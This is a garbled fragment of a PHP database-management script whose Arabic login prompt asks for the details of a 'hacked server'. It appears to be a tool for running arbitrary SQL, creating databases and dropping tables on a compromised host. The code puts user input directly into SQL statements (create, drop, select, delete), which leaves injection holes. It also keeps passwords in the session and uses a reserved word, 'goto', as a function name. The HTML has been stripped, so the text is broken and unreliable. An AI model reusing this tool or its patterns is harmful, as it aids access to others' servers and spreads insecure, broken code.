Back
\n";
echo"Total number of records $num_rows, displayed on $pgs pages of \n";
echo"
onchange='javascript:this.form.submit();' title='Type the number records to display on a page then
click outside the box' /> \n";
echo" \n";
echo" \n";
echo"records per page. \n";
$pagescrol="";
$sval="";
if($pgs >1){
$pagescrol="\n";
$nxt=$pg+1;
$bk=$pg-1;
$lst=$pgs;
$end=$lst-1;
$showp=$pg+1;
if($searchval !=""){
$sval="&searchval=$searchval";
}
$pagescrol .= "
\n";
if($pg>=1){
$pagescrol .= " 1 :<< \n";
$pagescrol .= "
title='Back one page'> < \n";
}
$pagescrol .= "
onchange='javascript:this.form.submit();' title='Type a page number then click outside the box' />\n";
$pagescrol .= " \n";
$pagescrol .= " \n";
$pagescrol .= " \n";
if($showp < $lst){
$pagescrol .= " > \n";
$pagescrol .= " >>: $lst \n";
}
$pagescrol .= " \n";
$pagescrol.="
\n";
}
return $pagescrol;
}
//*************Display Footer*************************
//Please don't remove or change.
function display_foot(){
echo"";
}
//*************My Size*************************
//Returns the size of a table or database
function mysize($dbname, $tablename){
$like="";
$total="";
$t=0;
if($tablename !=""){
$like=" like '$tablename'";
}
$sql= "SHOW TABLE STATUS FROM $dbname $like";
//$result = mysql_query($sql);
$result=exequery($sql, $tablename, $dbname);
if($result){
while($rec = mysql_fetch_array($result)){
$t+=($rec['Data_length'] + $rec['Index_length']);
}
$total ="$t bytes ";
}else{
$total="Unknowen";
}
return($total);
}
//**************************************
//DEBUG to show all being passed to the page
function showpassingvars(){
echo"Get: ";
foreach($_GET as $pram=>$value){
echo"$pram: $value, ";
}
echo" Post: ";
foreach($_POST as $pram=>$value){
echo"$pram: $value, ";
}
echo" Session: ";
foreach($_SESSION as $pram=>$value){
echo"$pram: $value, ";
}
}
echo"\n";
echo" \n";
echo"\n";
echo"سكربت
الاتصال بقواعد
البيانات \n";
echo"\n";
echo" ";
echo"سكربت
الاتصال بقواعد
البيانات \n";
echo" ";
echo" ";
echo" ";
echo" \n";
echo"\n";
echo"\n";
$showall=true;
echo"سكربت
الاتصال بقواعد
البيانات \n";
//******************* Session Logon ***********************
if(isset($_POST['logout'])){
$_POST['dbname']="";
session_unset();
session_destroy();
}
if(isset($_POST['userid']) && isset($_POST['pword1'])){
$_SESSION['user'] = $_POST['userid'];
$_SESSION['password'] = $_POST['pword1'];
}
if (!isset($_SESSION['user']) || !isset($_SESSION['password'])){
echo"";
echo"
ادخل بيانات
السيرفر
المخترق \n";
If(!isset($dbnamearray)){
$dbnamearray="";
}
show_login($dbnamearray);
echo"";
}else{
//show logout option.
echo"";
endsess();
echo"
";
}
//*****dbname
if(isset($_POST['dbname'])){
$dbname=$_POST['dbname'];
$_SESSION['dbname']= $_POST['dbname'];
}
//***** Host
if(isset($_POST['host'])){
$host=$_POST['host'];
$_SESSION['host']=$_POST['host'];
}
//******set tablename
if(isset($_GET['tablename']) ){
$tablename=$_GET['tablename'];
}elseif(isset($_POST['tablename'])){
$tablename=$_POST['tablename'];
}
//********** pagemax
if(isset($_POST['pagemax'])){ //&& is_int($_POST['pagemax'])){
$isnum=true;
for($o=0; $o
if($_POST['pagemax'][$o]>9){
$isnum=false;
}
}
if($_POST['pagemax']>0 && $isnum){
$_SESSION['pagemax']=$_POST['pagemax'];
}
}
if(isset($_SESSION['pagemax'])){
$pagemax=$_SESSION['pagemax'];
}
//******** create a new Database ************
if(isset($_POST['cndb'])){
connectmysql();
$sql="create database $_POST[ndbname]";
$result=exequery($sql, " ", $_POST['ndbname']);
if ($result){
$_SESSION['dbname'] = $_POST['ndbname'];
$sql="Use $_POST[ndbname]";
$result=exequery($sql, " ", $_POST['ndbname']);
if($result){
echo"قاعدة جديدة
$_SESSION[dbname] \n";
}
}
}
//*********************************************
if (! isset($_SESSION['dbname']) && ! isset($dbnamearray) && ! isset($_POST['dbname']) && isset
($_SESSION['user'])){ //*********post
//Databse names
showdb();
}
//************************ Choose DB *************
if(isset($_POST['dbname']) && $_POST['dbname']==""){
showdb();
}
//**********
if (isset($_SESSION['dbname']) || isset($_POST['dbna']) || isset($_POST['dbname'])){
//*************************************
//connection
if (isset($_SESSION['dbname'])){
$dbsetname = $_SESSION['dbname'];
}elseif(isset($_POST['dbname'])){
$dbsetname = $_POST['dbname'];
$_SESSION['dbname'] = $_POST['dbname'];
}else{
$dbsetname = $_POST['dbna'];
$_SESSION['dbname'] = $_POST['dbna'];
}
}
//*************************** we have a DB set
if(isset($dbsetname) && $dbsetname!=""){
$link= connectmysql();
//echo"DBS: $dbsetname";
$conn = connectdb($dbsetname, $link);
//*********** Drop Table **************
if(isset($_POST['deltable'])){
$showall=false;
$tablename=$_POST['tablename'];
echo"!!! تحذير !!! انت
تحاول مسح هذا
الجدول $tablename ";
echo"هل انت متاكد
من القيام
بالعمليه؟? \n";
$va="Drop $tablename";
goto($tablename, $dbname,$action, 'del', 'droptab', $va );
}
if(isset($_POST['droptab'])){
$tablename=$_POST['tablename'];
$dsql = "drop table $tablename";
$result=exequery($dsql, $tablename, $dbname);
unset($tablename); //="false";
unset($_POST['tablename']);
}
//*****************Write Your Own Query *****************
if(isset($_POST['wyoq'])){ //post
$value="الواجهه
الرئيسيه
للسكربت";
goto($tablename, $dbname, $action, 'but', 'start', $value );
echo"\n";
echo" \n";
//echo" \n";
echo" \n";
echo" \n";
echo" \n";
}
if(isset($_POST['runquery'])){
$wyoqta = StripSlashes($_POST['wyoqta']);
$result=exequery($wyoqta, " ", " ");
if(@mysql_num_rows($result) >0){
$numrows=mysql_num_rows($result);
$flds=mysql_num_fields($result);
echo"";
for($r=0; $r < $numrows; $r++){
echo"";
$row=mysql_fetch_array($result);
for($col = 0; $col < $flds; $col ++){
$nslash = StripSlashes($row[$col]);
echo"$nslash ";
}
echo" ";
}
echo"
";
}elseif (mysql_affected_rows()){
echo" Number of Rows affected: ".mysql_affected_rows();
}else{
echo" Nothing returned from the query.";
}
}
// ****************List Tables***************************
if( ! isset($tablename) || $tablename==" " ){
$dbname=$_SESSION['dbname'];
$result = mysql_list_tables($_SESSION['dbname']);
$numtab = mysql_num_rows ($result);
if($numtab == 1){
$_SESSION['tablename'] =mysql_tablename($result, 0);
}
//***************** Buttons ******************************
if (isset($_POST['runquery'])){
$dbname=$_SESSION['dbname'];
$value="$dbname Start"; //Table Manager Start
goto("", $_SESSION['dbname'], $action, 'but', 'tablestart', $value );
}elseif (! isset($_POST['wyoq']) && ! isset($_POST['runquery'])){ //write your own query.
echo"\n";
echo"";
$va="إنشاء جدول
جديد";
goto("", $_SESSION['dbname'], "create.php", 'but', 'create', $va );
// echo"Create new Table \n";
echo" ";
$value="الواجهه
الرئيسيه"; //Choose DB
goto("", "", $action, 'but', 'db', $value );
echo" \n";
$value="Write Your Own Query";
goto(" ", $_SESSION['dbname'], $action, 'but', 'wyoq', $value );
echo" ";
echo"
";
echo"\n";
for ($i =0; $i < $numtab; $i++) {
$tb_names[$i] = mysql_tablename($result, $i);
echo"\n";
$va="عرض جدول * $tb_names[$i]";
goto($tb_names[$i], $_SESSION['dbname'],$action, 'but', $tb_names[$i], $va );
echo" \n";
$va="مسح جدول $tb_names[$i]";
goto($tb_names[$i], $_SESSION['dbname'],$action, 'del', 'deltable', $va );
echo" \n";
$va="Alter Table $tb_names[$i]";
goto($tb_names[$i], $_SESSION['dbname'],'alter.php', 'but', 'altertable', $va );
echo" \n";
searchtableform($tb_names[$i], $_SESSION['dbname']);
echo" ";
//Table size in bytes
echo mysize($_SESSION['dbname'],$tb_names[$i]);
echo" \n";
}//for
echo"
\n";
}
}else{ //tablename is set
//***************** menu *****************************************
echo"\n";
$value="$_SESSION[dbname] Start"; //Ex Table Manager Start
goto($tablename, $_SESSION['dbname'], $action, 'but', 'tablestart', $value );
echo" \n";
echo"\n";
$value="الواجهه
الرئيسيه"; //Choose DB
goto("", "", $action, 'but', 'start', $value );
echo" \n";
echo"\n";
$value="Write Your Own Query";
goto(" ", $_SESSION['dbname'], $action, 'but', 'wyoq', $value );
echo" \n";
if (!isset($_POST['add']) && !isset($_POST['deltable']) && isset($tablename)){
echo"";
//$tablename = $_POST['tablename'];
$va="Add a $tablename Record";
goto($tablename, $_SESSION['dbname'], 'alter.php', 'but', 'add', $va );
echo" \n";
}
if (!isset($_POST['deltable'])){
echo"\n";
searchtableform($tablename, $_SESSION['dbname']);
echo" \n";
}
echo"
\n";
echo" \n";
//**************************************************
if(isset($_POST['addrec'])){
// $showall=false;
$result=addrecord($tablename, $_SESSION['dbname'], $_POST['array']);
}elseif(isset($_POST['add'])){
$showall=false;
addform($tablename, $_SESSION['dbname']);
}elseif(isset($_POST['delete'])){
//delete record has been pushed
// $showall=false;
$whr=buildwhr($_POST['pk'], $_POST['pv']);
$sql = "delete from $tablename where $whr";
$result=exequery($sql, $tablename, $_SESSION['dbname']);
}elseif (isset($_POST['edit'])){//Edit
$showall=false;
$whr = buildwhr( $_POST['pk'], $_POST['pv']);
//$tablename = $_SESSION['tablename'];
$sql= "Select * from $tablename where $whr";
$result=exequery($sql, $tablename, $_SESSION['dbname']);
editform($tablename, $_SESSION['dbname'], $result, 'edit', $_POST['pk'], $_POST['pv']);
}elseif(isset($_POST['editrec'])){
// $showall=false;
$result=editrec($_SESSION['dbname'],$tablename, $_POST['pk'], $_POST['pv'], $_POST
['array']);
}
//**************** Search ************************************
if(isset($_POST['searchval'])){
$searchval=$_POST['searchval'];
}elseif(isset($_GET['searchval'])){
$searchval=$_GET['searchval'];
}else{
$searchval="";
}
if (isset($_GET['tablename'])){
$tablename = $_GET['tablename'];
}
if((isset($_POST['search'])|| isset($searchval)) && $searchval !=""){
$result=searcht($tablename, $_SESSION['dbname'], $searchval);
}else{
//Display All
$query = "select * from $tablename";
$result=exequery($query, $tablename, $_SESSION['dbname']);
}
//***************** Display record count *****************************************
if($showall){
$num_rows = mysql_num_rows($result);
//Workout whick page to display
if(!isset($_GET['pg']) && !isset($pg)){
$beg=0;
$pg=0;
}else{
if(isset($_GET['pback'])){
$pg=$_GET['pg'];
}else{
$pg=$_GET['pg'];
}
if($pg < 0 ){
$pg=0;
}
if($pg > $num_rows/$pagemax){
$pg=ceil($num_rows/$pagemax)-1;
}
$beg = $pg * $pagemax;
}
if (!isset($_POST['add'])){
$pscrol=" ";
$pagescrol =" ";